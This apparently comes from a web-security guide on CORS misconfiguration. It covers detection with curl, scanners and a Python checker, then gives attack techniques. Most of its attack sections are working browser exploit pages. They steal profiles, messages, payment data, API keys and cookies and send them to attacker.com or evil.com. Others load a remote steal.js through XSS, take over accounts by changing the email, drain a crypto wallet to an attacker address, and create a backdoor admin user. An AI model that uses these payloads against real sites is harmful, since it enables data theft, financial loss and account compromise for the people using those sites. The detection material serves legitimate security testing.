CORS Misconfiguration Attack Guide

Learn how to test and exploit CORS misconfiguration vulnerabilities including detection, attack methods and bypass techniques.

CORS Misconfiguration

Cross-Origin Resource Sharing (CORS) Misconfiguration is a web security vulnerability that occurs when a web application improperly configures its CORS policy, allowing unauthorized domains to access sensitive resources. This can lead to data theft, account compromise, and unauthorized actions.

How It Works​

CORS is a browser security feature that restricts web pages from making requests to a different domain than the one serving the page. When misconfigured, it can allow malicious sites to read sensitive data:

// Vulnerable CORS configuration on server  
Access-Control-Allow-Origin: https://attacker.com  
Access-Control-Allow-Credentials: true  
  
// Attacker's page can now read sensitive data  
fetch('https://victim-site.com/api/user', {  
  credentials: 'include'  
}).then(r => r.json()).then(data => {  
  // Send stolen data to attacker  
  fetch('https://attacker.com/steal', {  
    method: 'POST',  
    body: JSON.stringify(data)  
  });  
});  

Detection​

Manual Testing​

Basic CORS Tests​

Testing for CORS misconfigurations:

# Step 1: Make request with Origin header  
curl -H "Origin: https://evil.com" \  
  https://target.com/api/user \  
  -v  
  
# Step 2: Check response headers  
# Look for:  
Access-Control-Allow-Origin: https://evil.com  
Access-Control-Allow-Credentials: true  
  
# Step 3: If both present: Vulnerable  
# Attacker domain can read response with credentials  
  
# Step 4: Test wildcard  
curl -H "Origin: https://random-domain.com" \  
  https://target.com/api/user \  
  -v  
  
# If ACAO reflects any origin: Misconfigured  

Credential Test​

Testing if credentials are allowed:

# Send Origin with credentials request  
curl -H "Origin: https://evil.com" \  
  -H "Cookie: session=abc123" \  
  https://target.com/api/sensitive \  
  -v  
  
# Check for both headers:  
Access-Control-Allow-Origin: https://evil.com  
Access-Control-Allow-Credentials: true  
  
# If both present: High severity vulnerability  
# Attacker can steal data while victim is logged in  

Null Origin Test​

Testing null origin acceptance:

# Some apps allow null origin  
curl -H "Origin: null" \  
  https://target.com/api/user \  
  -v  
  
# Check response:  
Access-Control-Allow-Origin: null  
Access-Control-Allow-Credentials: true  
  
# If both present: Vulnerable  
# Can be exploited via sandboxed iframe  

Subdomain Test​

Testing subdomain trust:

# If target.com has subdomain CORS  
curl -H "Origin: https://attacker.target.com" \  
  https://target.com/api/user \  
  -v  
  
# Or any subdomain:  
curl -H "Origin: https://evil.target.com" \  
  https://target.com/api/user \  
  -v  
  
# If ACAO reflects subdomain: Vulnerable  
# Attacker who controls any subdomain can exploit  

Pre-flight Request Test​

Testing preflight OPTIONS request:

# OPTIONS request before actual request  
curl -X OPTIONS \  
  -H "Origin: https://evil.com" \  
  -H "Access-Control-Request-Method: POST" \  
  -H "Access-Control-Request-Headers: Content-Type" \  
  https://target.com/api/update \  
  -v  
  
# Check response:  
Access-Control-Allow-Origin: https://evil.com  
Access-Control-Allow-Methods: POST, GET, OPTIONS  
Access-Control-Allow-Headers: Content-Type  
Access-Control-Allow-Credentials: true  
Access-Control-Max-Age: 3600  
  
# If allows attacker origin: Vulnerable  

Automated Discovery​

Using Burp Suite​

# Step 1: Configure Burp to test CORS  
# Proxy > Options > Match and Replace  
# Add rule:   
# Type: Request header  
# Match: ^Origin: .*  
# Replace: Origin: https://evil.com  
  
# Step 2: Browse application  
# Check for ACAO headers in responses  
  
# Step 3: Use Burp Extensions  
# Install: CORS Scanner  
# Install: CORScanner  
# Install: Corsy  
  
# Step 4: Send interesting requests to Repeater  
# Add Origin header  
# Test different origin values  

Using CORScanner​

# Basic scan  
python cors_scan.py -u https://target.com  
  
# Scan specific endpoint  
python cors_scan.py -u https://target.com/api/user  
  
# With authentication  
python cors_scan.py -u https://target.com/api/user \  
  -H "Cookie: session=abc123"  
  
# Scan from file  
python cors_scan.py -i urls.txt \  
  -o results.json  
  
# Advanced options  
python cors_scan.py -u https://target.com \  
  -t 20 \  
  --headers "Authorization: Bearer TOKEN" \  
  --verbose  

Using Custom Scripts​

# Python CORS testing script  
import requests  
  
def test_cors(url, origin):  
    headers = {  
        'Origin': origin,  
        'Cookie': 'session=your_session'  # If testing authenticated endpoint  
    }  
      
    response = requests.get(url, headers=headers)  
      
    acao = response.headers.get('Access-Control-Allow-Origin')  
    acac = response.headers.get('Access-Control-Allow-Credentials')  
      
    if acao and origin in acao:  
        if acac == 'true':  
            return 'VULNERABLE', f'ACAO: {acao}, ACAC: {acac}'  
        else:  
            return 'REFLECTED', f'ACAO: {acao} (no credentials)'  
    elif acao == '*':  
        if acac == 'true':  
            return 'INVALID', 'Wildcard with credentials (browser blocks this)'  
        else:  
            return 'WILDCARD', 'Wildcard ACAO (no credentials)'  
      
    return 'SECURE', 'No CORS misconfiguration detected'  
  
# Test different origins  
target = "https://target.com/api/user"  
origins_to_test = [  
    "https://evil.com",  
    "https://attacker.target.com",  
    "http://target.com",  
    "null",  
    "https://target.com.evil.com"  
]  
  
for origin in origins_to_test:  
    status, details = test_cors(target, origin)  
    print(f"[{status}] Origin: {origin} - {details}")  

Attack Vectors​

Reflected Origin Exploit​

Exploiting reflected origin headers:

<!-- Attacker's page at https://evil.com -->  
<html>  
<body>  
<h1>Loading...</h1>  
<script>  
// Victim visits this page while logged into target.com  
fetch('https://target.com/api/user/profile', {  
  credentials: 'include'  // Send cookies  
})  
.then(response => response.json())  
.then(data => {  
  // Steal sensitive data  
  console.log('Stolen data:', data);  
    
  // Send to attacker's server  
  fetch('https://attacker.com/collect', {  
    method: 'POST',  
    headers: {  
      'Content-Type': 'application/json'  
    },  
    body: JSON.stringify({  
      victim_data: data,  
      cookies: document.cookie  
    })  
  });  
    
  // Optional: redirect to hide attack  
  setTimeout(() => {  
    window.location = 'https://target.com';  
  }, 500);  
});  
</script>  
</body>  
</html>  

Null Origin Exploit​

Exploiting null origin acceptance:

<!-- Null origin can be triggered via sandboxed iframe -->  
<html>  
<body>  
<iframe sandbox="allow-scripts allow-top-navigation"   
        srcdoc="  
<script>  
fetch('https://target.com/api/user', {  
  credentials: 'include'  
})  
.then(r => r.json())  
.then(data => {  
  // Send stolen data to parent  
  parent.postMessage(data, '*');  
});  
</script>  
"></iframe>  
  
<script>  
// Receive stolen data  
window.addEventListener('message', (event) => {  
  console.log('Stolen data:', event.data);  
    
  // Send to attacker server  
  fetch('https://attacker.com/collect', {  
    method: 'POST',  
    body: JSON.stringify(event.data)  
  });  
});  
</script>  
</body>  
</html>  

Subdomain Takeover Chain​

Chaining subdomain takeover with CORS:

# Step 1: Find vulnerable subdomain  
# old.target.com points to deleted S3 bucket  
  
# Step 2: Take over subdomain  
# Create S3 bucket with same name  
# Host malicious page  
  
# Step 3: Exploit CORS  
# If target.com allows *.target.com origins  
# Your malicious page at old.target.com can:  
  
<script>  
fetch('https://target.com/api/admin', {  
  credentials: 'include'  
})  
.then(r => r.json())  
.then(data => {  
  // Steal admin data  
  fetch('https://attacker.com/steal', {  
    method: 'POST',  
    body: JSON.stringify(data)  
  });  
});  
</script>  

Pre-flight Bypass​

Exploiting missing preflight checks:

<script>  
// Simple requests don't trigger preflight  
// Content-Type: text/plain doesn't trigger preflight  
  
fetch('https://target.com/api/update', {  
  method: 'POST',  
  credentials: 'include',  
  headers: {  
    'Content-Type': 'text/plain'  
  },  
  body: JSON.stringify({  
    email: 'attacker@evil.com',  
    role: 'admin'  
  })  
});  
  
// If server parses JSON regardless of Content-Type  
// Attack succeeds without preflight check  
</script>  

Credential Theft​

Stealing user credentials and tokens:

// Attacker's page  
<script>  
// Steal user profile  
fetch('https://target.com/api/user/profile', {  
  credentials: 'include'  
})  
.then(r => r.json())  
.then(profile => {  
  // Steal API keys  
  return fetch('https://target.com/api/keys', {  
    credentials: 'include'  
  })  
  .then(r => r.json())  
  .then(keys => {  
    // Combine all stolen data  
    return {  
      profile: profile,  
      api_keys: keys,  
      cookies: document.cookie  
    };  
  });  
})  
.then(allData => {  
  // Send everything to attacker  
  fetch('https://attacker.com/collect', {  
    method: 'POST',  
    headers: {  
      'Content-Type': 'application/json'  
    },  
    body: JSON.stringify(allData)  
  });  
});  
</script>  

Bypass Techniques​

Origin Manipulation​

Bypassing origin validation:

# If validation checks for "target.com"  
  
# Subdomain confusion  
Origin: https://target.com.evil.com  
Origin: https://evil.target.com  
  
# Using @ symbol  
Origin: https://target.com@evil.com  
  
# Port manipulation  
Origin: https://target.com:8080  
Origin: https://target.com:443  
  
# Protocol variation  
Origin: http://target.com  
Origin: https://target.com  
  
# With path  
Origin: https://target.com/any/path  
# (Origin shouldn't have path, but some parsers allow it)  

Null Origin Bypass​

Exploiting null origin:

<!-- Method 1: Sandboxed iframe -->  
<iframe sandbox="allow-scripts" srcdoc="  
<script>  
fetch('https://target.com/api/data', {  
  credentials: 'include'  
}).then(r => r.json()).then(data => {  
  parent.postMessage(data, '*');  
});  
</script>  
"></iframe>  
  
<!-- Method 2: Data URI -->  
<iframe src="data:text/html,  
<script>  
fetch('https://target.com/api/data', {  
  credentials: 'include'  
}).then(r => r.json()).then(console.log);  
</script>  
"></iframe>  
  
<!-- Method 3: File protocol (local file) -->  
<!-- Save as file and open in browser -->  

Regex Bypass​

Bypassing regex-based validation:

# If regex checks: /^https?:\/\/[\w.]*target\.com$/  
  
# Subdomain bypass  
Origin: https://evil.target.com  
Origin: https://target.com.evil.com  
  
# Character injection  
Origin: https://target.com%0D%0AEvil: header  
  
# Null byte (old systems)  
Origin: https://target.com%00.evil.com  
  
# Backtick (if not escaped in regex)  
Origin: https://target`.com.evil.com  
  
# Unicode characters  
Origin: https://target․com  # Using unicode dot  
Origin: https://tаrget.com  # Using Cyrillic 'а'  

Pre-flight Bypass​

Bypassing preflight OPTIONS checks:

// Simple requests don't require preflight:  
// - Methods: GET, HEAD, POST  
// - Headers: Accept, Accept-Language, Content-Language,   
//            Content-Type (with restrictions)  
// - Content-Type: application/x-www-form-urlencoded,  
//                  multipart/form-data, text/plain  
  
// Exploit: Use simple request when server doesn't check  
fetch('https://target.com/api/delete', {  
  method: 'POST',  
  credentials: 'include',  
  headers: {  
    'Content-Type': 'text/plain'  
  },  
  body: 'action=delete&id=123'  
});  
  
// Or use GET for state-changing operation  
fetch('https://target.com/api/delete?id=123', {  
  credentials: 'include'  
});  

Wildcard Bypass​

Exploiting wildcard configurations:

# Access-Control-Allow-Origin: * is insecure but...  
# Can't be used with credentials  
  
# But if app dynamically sets ACAO:  
if (origin) {  
  response.setHeader('Access-Control-Allow-Origin', origin);  
  response.setHeader('Access-Control-Allow-Credentials', 'true');  
}  
  
# This reflects any origin - vulnerable!  
  
# Test with:  
Origin: https://evil.com  
# If reflected with credentials: Vulnerable  

XSS to CORS Chain​

Chaining XSS with CORS:

// If CORS blocks external origins  
// But XSS exists on subdomain  
  
// XSS on sub.target.com:  
<script src="https://evil.com/steal.js"></script>  
  
// steal.js:  
fetch('https://target.com/api/admin', {  
  credentials: 'include'  
})  
.then(r => r.json())  
.then(data => {  
  fetch('https://evil.com/collect', {  
    method: 'POST',  
    body: JSON.stringify(data)  
  });  
});  
  
// Works because request originates from sub.target.com  
// which might be in CORS whitelist  

Post-Exploitation​

Complete Account Takeover​

Full account compromise via CORS:

<html>  
<body>  
<script>  
// Step 1: Get user profile  
fetch('https://target.com/api/user/profile', {  
  credentials: 'include'  
})  
.then(r => r.json())  
.then(profile => {  
  console.log('[+] Got profile:', profile);  
    
  // Step 2: Change email to attacker's  
  return fetch('https://target.com/api/user/email', {  
    method: 'PUT',  
    credentials: 'include',  
    headers: {  
      'Content-Type': 'application/json'  
    },  
    body: JSON.stringify({  
      email: 'attacker@evil.com'  
    })  
  });  
})  
.then(() => {  
  console.log('[+] Email changed');  
    
  // Step 3: Request password reset  
  return fetch('https://target.com/api/password/reset', {  
    method: 'POST',  
    credentials: 'include'  
  });  
})  
.then(() => {  
  console.log('[+] Password reset sent to attacker email');  
  console.log('[+] Account takeover complete');  
});  
</script>  
</body>  
</html>  

Data Exfiltration​

Systematic data extraction:

// Comprehensive data theft script  
const stealData = async () => {  
  const stolen = {};  
    
  // Steal profile  
  stolen.profile = await fetch('https://target.com/api/user', {  
    credentials: 'include'  
  }).then(r => r.json());  
    
  // Steal contacts  
  stolen.contacts = await fetch('https://target.com/api/contacts', {  
    credentials: 'include'  
  }).then(r => r.json());  
    
  // Steal messages  
  stolen.messages = await fetch('https://target.com/api/messages', {  
    credentials: 'include'  
  }).then(r => r.json());  
    
  // Steal payment methods  
  stolen.payments = await fetch('https://target.com/api/payment-methods', {  
    credentials: 'include'  
  }).then(r => r.json());  
    
  // Steal API keys  
  stolen.keys = await fetch('https://target.com/api/keys', {  
    credentials: 'include'  
  }).then(r => r.json());  
    
  // Exfiltrate all data  
  await fetch('https://attacker.com/collect', {  
    method: 'POST',  
    headers: {  
      'Content-Type': 'application/json'  
    },  
    body: JSON.stringify(stolen)  
  });  
    
  console.log('[+] Data exfiltration complete');  
};  
  
stealData();  

Cryptocurrency Theft​

Stealing crypto wallets and keys:

<script>  
// Target crypto exchange with CORS misconfiguration  
fetch('https://crypto-exchange.com/api/wallet', {  
  credentials: 'include'  
})  
.then(r => r.json())  
.then(wallet => {  
  // Get wallet address  
  console.log('Wallet:', wallet.address);  
  console.log('Balance:', wallet.balance);  
    
  // Initiate withdrawal to attacker's address  
  return fetch('https://crypto-exchange.com/api/withdraw', {  
    method: 'POST',  
    credentials: 'include',  
    headers: {  
      'Content-Type': 'application/json'  
    },  
    body: JSON.stringify({  
      address: 'attacker_wallet_address',  
      amount: wallet.balance,  
      currency: 'BTC'  
    })  
  });  
})  
.then(r => r.json())  
.then(result => {  
  console.log('[+] Withdrawal initiated:', result);  
});  
</script>  

Admin Panel Access​

Accessing administrative functions:

<script>  
// Check if user has admin access  
fetch('https://target.com/api/admin/users', {  
  credentials: 'include'  
})  
.then(r => {  
  if (r.status === 200) {  
    return r.json();  
  }  
  throw new Error('Not admin');  
})  
.then(users => {  
  console.log('[+] Admin access confirmed');  
  console.log('[+] User list:', users);  
    
  // Create backdoor admin account  
  return fetch('https://target.com/api/admin/users', {  
    method: 'POST',  
    credentials: 'include',  
    headers: {  
      'Content-Type': 'application/json'  
    },  
    body: JSON.stringify({  
      username: 'backdoor',  
      password: 'backdoor123',  
      role: 'admin',  
      email: 'backdoor@evil.com'  
    })  
  });  
})  
.then(() => {  
  console.log('[+] Backdoor account created');  
})  
.catch(err => {  
  console.log('[-] Not admin:', err);  
});  
</script>  

Common Tools​

Tool| Description| Primary Use Case
---|---|---
CORScanner| CORS misconfiguration scanner| Automated detection
Burp Suite| Web vulnerability scanner| Manual testing
Corsy| CORS scanner| Quick scanning
CORS Everywhere| Browser extension| Manual testing
Origin Checker| Browser extension| Quick CORS checks
curl| Command-line tool| Manual header testing